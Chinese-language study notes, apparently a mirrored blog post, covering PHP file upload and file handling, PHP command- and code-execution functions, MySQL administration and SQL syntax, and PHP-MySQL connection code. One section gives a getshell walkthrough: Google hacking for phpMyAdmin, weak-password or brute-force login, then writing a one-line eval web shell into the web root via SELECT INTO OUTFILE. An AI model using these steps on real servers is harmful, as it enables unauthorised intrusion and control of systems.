zoukankan      html  css  js  c++  java
  • 2019.10.9php进阶

    <?php  

    header("Content-type:text/html;charset:utf-8");

    if ($_FILES["file"]["error"]>0) {

    echo $_FILES["file"]["error"]."<br>";

    } else {

    echo "文件名:".$_FILES["file"]["name"]."<br>";

    echo "类型:".$_FILES["file"]["type"]."<br>";

    echo "大小:".$_FILES["file"]["size"]."<br>";

    echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";}

    echo "文件后缀名:".@end(explode(".",$_FILES["file"]["name"]));

    ?>

     

    explode(标识,字符串),按照标识将字符串分割为数组

    explode(".","test.te.png") == array("test","te","png");

    end(数组)取出数组中最后一个值.

    上传文件完整代码

    html:

    <!DOCTYPE html>

    <html>

    <head>

    <title></title>

    <meta charset="utf-8">

    </head>

    <body>

    <form action="ups.php" method="post" enctype="multipart/form-data">

    <label for="file">文件名:</label>

    <input type="file" name="file" id="file">

    <input type="submit" value="提交">

    </form>

    </body>

    </html>

    php:

    <?php  

    header("Content-type:text/html;charset:utf-8");

    if ($_FILES["file"]["error"]>0) {

    echo $_FILES["file"]["error"]."<br>";

    } else {

    //白名单:只允许上传图片

    $array=array("png","gif","jpeg","jpg","bmp");

    /* echo "文件名:".$_FILES["file"]["name"]."<br>";

    echo "类型:".$_FILES["file"]["type"]."<br>";

    echo "大小:".$_FILES["file"]["size"]."<br>";

    echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";*/

    $fileEndName=@end(explode(".",$_FILES["file"]["name"]));

    if (in_array($fileEndName, $array)) {

    if (!file_exists("uploads/".$_FILES["file"]["name"])) {

    move_uploaded_file($_FILES["file"]["tmp_name"],"uploads/".$_FILES["file"]["name"]);

    echo "文件上传成功,位置为:"."uploads/".$_FILES["file"]["name"];

    }else{

    echo "有同名文件!!无法提交!!!";

    }

    } else {

    echo "文件格式不支持!!";

    }

    }

    ?>

    文件管理:文件的打开,关闭,读取,写入.

    文件的打开:fopen(打开文件的位置包含路径和文件名,打开文件的方式);

    r 以只读的方式打开

    r+ 读和写

    w 只写,如果文件不存在则创建

    w+ 读和写,如果文件不存在则创建

    a 文件末尾追加,如果不存在则创建

    a+ 读和追加,如果不存在则创建

    fclose(句柄~打开的文件对应的句柄)关闭

    feof()检测是否达到了文件的末尾,如果没有达到文件的末尾,则返回值是false

    fread(打开的文件,读取大小)

    fgets()读取单行数据内容:while (!feof($file)){echo fgets($file);}

    fgetc()读取单个字符数据内容:while (!feof($file)){echo fgetc($file);}

    file()将整个文档中数据读取到数组中:print_r(file("123.php"));

    file_get_contents()将整个文档中数据读取到字符串中echo file_get_contents("123.php");

    file_put_contents(文件名,写内容)将内容写到文件中:file_put_contents("123.php","123");如果文件名不存在则创建该文件,*是覆盖写,原内容会消失!!!

    basename()获取文件名 //我都知道文件名了还取个屁??

    dirname() 获取文件路径名

    copy(源文件,目标文件)

    unlink() unset() 删除文件

    命令执行函数,通过php中某些函数去执行系统命令,和系统去交互

    常用的命令执行函数:

    system();

    exec();

    shell_exec();

    echo 'whoami';

    passthru()

    等等

    代码执行函数,使用php的某些函数去执行字符串类型的php代码,注意:php代码要求按照标准格式写的,常用的函数有:

    eval();

    assert();

    preg_replace(正则表达式,替换掉字符,被替换的字符);注意:如果执行代码功能,需要使用使用/e模式,替换的字符中的代码就会被执行

    等等

    数据库管理

    MYSQL 开源,轻量级数据库,适用于中小型企业,性能好

    MSSQL 微软,需要安装在nt系统,不支持跨平台,适用于中大型企业

    ACCESS 小巧方便 小型企业 小型项目

    ORACLE 甲骨文,收费,适用于大型企业,跨平台,需要良好的底层硬件支持

    常用框架组合

    mysql+php

    mssql+asp,aspx

    oracle+java

    access+asp

    jsp+oracle

    数据库模型

    关系型数据库(结构化数据库) mysql mssql oracle db2

    非关系型数据库(非结构数据库)redis mongodb nosql postgresq Hbase等等

    管理mysql数据库的方式:

    DOS-mysql:需要配置mysql的环境变量 mysql -u root -p root

    phpmyadmin 基于网页的数据库管理平台

    mysql-front 开源的 C/S模式的数据库管理平台

    Navicat 收费的,功能强大的数据库管理平台

    mysql数据库结构:数据库名->数据库表->表头(字段名)->数据内容

    表中有几个字段就会有几行数据

    一行数据叫记录

    管理mysql数据库的常用命令:

    mysql -u root -p

    show databases;

    information_schema 他是5.0以后的mysql数据库自带的,汇总数据信息

    mysql 存放当前数据库信息,如登录账户信息

    use mysql; 使用mysql,进入选中的数据库

    show tables; 查看当前数据库中所有的表

    select * from user ;查看user 表下所有的数据内容

    select version(); 查看当前运行的数据库版本

    修改密码

    知道原密码去修改:

    step 1:需要进入到数据库中, mysql -uroot -p

    step 2: 低版本(5.0)以下

    update mysql.user set password = password("新密码") where user = 'root'( root账户的密码)

    高版本(5.1)以上

    update mysql.user set authentication_string = password("新密码") where user = 'root'

    alter user "root"@"localhost" identified by "新密码";

    step 3:flush privileges; 刷新数据库

    mysql系统之外修改密码

    mysqladmin -u root -p password "新密码";

    忘记原密码去修改(linux):

    step1:关闭mysql服务,修改配置文件my.ini/my.cnf

    step2:打开mysql配置文件,找到[mysqld] 加上:skip-grant-tables(跳过密码验证)

    step3:重启mysql服务,此时登录无需密码,再用上面方法改密码

    mysql 数据库中添加账户并授权

    添加账户

    create user "用户名"@"主机IP" identified by "密码";

    主机IP:允许那个主机用户可以登录,(localhost 本机可登录 %任意用户可登录

    192.168.1.1 IP上用户可登录)

    添加权限

    grant 权限 on 库名.表名 to "用户名"@"主机IP"

    权限:insert drop update select all

    库名.表名:表示能够操作的数据和表 *.*表示所有数据库以及所有的表

    grant all on *.* to "123"@"192.168.1.1."

    注意:配置中bind 127.0.0.1 需要注释掉或者根据需求进行更改

    数据库外连:(允许远程连接)

    update user set host ="%" where user ="host" and host= "localhost";

    flush privileges;

    注意:配置中bind 127.0.0.1 需要注释掉

    MYSQL 常用的函数

    version();

    user();

    select @@version;

    select @@hostname;

    select @@tmpdir;临时目录

    select @@basedir;数据库服务所在的位置

    select @@datadir;数据存放的位置;

    数据文件格式:opt:编码;MYD存储数据;frm:存储表结构;MYI存储当前数据库的配置 信息和索引信息;

    mid(被截取的字符串,开始索引,截取的长度);截取字符串

    ord();显示字符的ascii,首字母的

    concat();拼接字符串 concat("1","2","3");=>"123";

    concat_ws(分隔符,多个参数);以分隔符分割拼接

    group_concat();分组并拼接

    sleep(1);让数据库等待1秒钟

    sql语法:

    创建数据库:

    create database te;

    mysqladmin -uroot -proot create pentest DOS命令中,需要使用mysqladmin.exe

    删除数据库:

    drop database te;

    mysqladmin -uroot -proot drop pentest

    数据库中的数据类型:

    int:整型

    bigint:大整型

    float:浮点型

    date:日期

    time:时间

    char:单个字符

    varchar:变长字符,自设上限长度

    text:文本

    timestamp:时间戳

    double:双精度浮点型

    bit:比特

    tinyint:0/1 bool

    创建表:use 数据库;

    create table 表明(字段名1 数据类型 primary key auto_increment,字段2 数据类型,字段3 数据类型)default charset=utf8;

    auto_increment :自增,看情况使用

    primary key: 表中需要一个主键(唯一,非空) ,通过该主键确定唯一的一条记录

    not null :不为空

    default charset=utf8:设置编码方式

    删除表:drop table 表名;

    查看表中字段:show create table 表名;desc 表名

    后续添加主键:alter table 表名 add primary key(字段名);

    插入数据:insert into 表名(字段名1,字段名2,字段名3) value(1,2,3);

    查询数据:select 字段 from 表名;

     select 字段 from 表名 where 字段名=;

     select 字段 from 表名 where 字段1=1 and/or 字段2 =2;

    限制查询:limit a,b ;(a b均为数字,a表示记录的索引,b表示记录的长度)

     limit a ;(0开始选择a个记录)

    更新数据:update 表名 set 字段1=1,字段2=2 where 字段3=3;

    删除表中数据:delete from 表名;

    like 子句:通配符:%任意字符 _单个字符

     select * from stu where name like "%t%"

    union 联合查询

    语法:查询语句1 union 查询语句2 将他们查询出来的结果放在一张表中显示

    他们查询出来的字段个数必须一致

    可以根据语句2的字段数量判断查询语句1的字段数量

    order by 的使用

    order by 条件: 根据给定的条件排序,默认条件下是升序

    select * from order by 字段名 [asc/desc] 根据制定的字段名去排序,asc升序,desc降序

    select * from order by 数字 表示对第n列数据进行排序,如果数字超过表格列数,则报错

    删除字段:alter table 表名 drop 字段名;

    添加字段:alter table 表名 add 字段名 字段类型;

    去重查询:select distinct name from te;

    数据的导入导出:

    导入数据

    方法1:mysql -uroot -proot <需要导入的数据库文件(data.sql)注意:data.sql需要自动创建数据库,并且需 要选择该数据库,如果data.sql不会创建数据库,手动创建数据库

    手动导入mysql -uroot -proot

    create database 数据库

    use 数据库
    source 数据库文件

    方法2:使用phpmyadmin等平台导入数据,如果导入的文件还是不能自己创建数据库,则需要手动创建

    方法3:mysqlimport -uroot -proot --local 数据库名 数据库文件;首先创建数据库,创建表teacher,该表的 字段名要和导入的数据的字段保持一致 --local表示本地任意位置均可导入数据

    导出数据

    方法1:借助平台;

    方法2:mysqldump -uroot -proot 数据库名 > 导出文件名

      mysqldump -uroot -proot 数据库名 表名 > ./table.sql

    方法3:select 字段 from 表名 into outfile "文件";将数据库中的字段内容导入到文件中

    首次从数据库中导出文件,数据库会运行--secure-file-priv 安全机制,会限制导出文件

    查看该安全项的值:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

    secure_file_priv value null,限制导入导出

    secure_file_priv 没有值 表示mysql不限制导入导出

    secure_file_priv = /tmp 表示mysql只能在/tmp目录下执行导入导出,其他目录是不允许的

    修改该安全机制:

    临时方法:set global secure_file_priv=' ';

    注意:Variable 'secure_file_priv' is a read only variable 表示不能通过sql语句修改

    长久方法:修改配置文件 在配置文件my.ini中找到[mysqld]后面添加secure_file_priv=' ';

    通过phpmyadmin 获取服务器权限(getshell)

    step1:通过google hacking phpmyadmin网站

    step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

    step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马

    select "<?php @eval($_POST[_]);?>" into outfile "D:\phpstudy_pro\www\evil.php";

    select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法

    step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;

    step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器

    PHP+MYSQL

    PHP 操作mysql 数据库

    (1) 使用mysqli扩展(推荐),只针对mysql数据库

    面向对象的方式

    直接方法(面向过程);

    (2)使用mysql扩展(php<=5.5)

    (3)使用pdo ,支持12种数据库

    三种数据库的连接释放.php(分别取消注释使用)

    <?php

    header("Content-type:text/html;charset:utf-8");

    $ser="127.0.0.1";

    $name="root";

    $pwd="roo";

    /*m面向对象*/

    /*

    $conn=new mysqli($ser,$name,$pwd);

    if($conn->connect_error){

    die("连接失败:".$conn->connect_error);

    }

    echo "数据库连接成功!";

    $conn->close();

    */

    /*面向过程*/

    /*

    $conn=mysqli_connect($ser,$name,$pwd);

    if($conn){ //mysqli连接成功返回true,没有连接成功返回false;

    echo mysqli_connect_error();

    }

    echo "连接成功";

    var_dump($conn);

    mysqli_close($conn);

    */

    /*pdo*/

    /*

    try{

    $conn=new pdo("mysql:host=$ser;",$name,$pwd);

    echo "成功!";

    }

    catch(PDOException $ee){

    echo $ee-> getMessage();

    }

    $conn=null;

    */

    mysql.conf

    <?php

    $ip="127.0.0.1";

    $name="root";

    $pwd="root";

    $db="teachers";

    2.php

    <?php

    include 'mysql.conf';

    $conn=mysqli_connect($ip,$name,$pwd,$db);

    //$conn=mysqli_connect($ip,$name,$pwd);//创建数据库前用这个

    $sql1="create database teachers";//创建数据库

    $sql2="create table info (

    id int(10) unsigned auto_increment PRIMARY KEY,

    name varchar(20) not null,

    address varchar(100) not null,

    date timestamp

    )";//创建表info

    $sql3="insert into info(id,name,address) values (1,'icq','beijing')";//插入数据

    $sql4="insert into info(name,address) values ('iii','shanghai')";//插入数据

    $sql5="select * from info";

    //var_dump(mysqli_query($conn,$sql5));//查看这个的类型

    $result=mysqli_query($conn,$sql5);

    if($result){

    echo "成功!";

    $numbers=mysqli_num_rows($result);//查询的记录数

    //$rows=mysqli_fetch_assoc($result);

    //将执行的结果转换成数组

    while($rows=mysqli_fetch_assoc($result)){

    print_r($rows);

    }//循环打印查询记录

    }

    else{

    echo mysqli_error($conn);//打印错误信息

    }

    mysqli_close($conn);

  • 相关阅读:
    Cocos Creator脚本开发事例
    java调用sap的webservice(需要登录验证)
    Lua require 相对路径
    C++学习笔记
    Lua MD5加密字符串
    USE " cc.exports.* = value " INSTEAD OF SET GLOBAL VARIABLE"
    cocos2d-x学习笔记
    麻将胡牌算法研究
    Tomcat服务器配置https双向认证(使用keytool生成证书)
    MySQL密码忘了怎么办?MySQL重置root密码方法
  • 原文地址:https://www.cnblogs.com/shuihanhhhh/p/11769176.html
Copyright © 2011-2022 走看看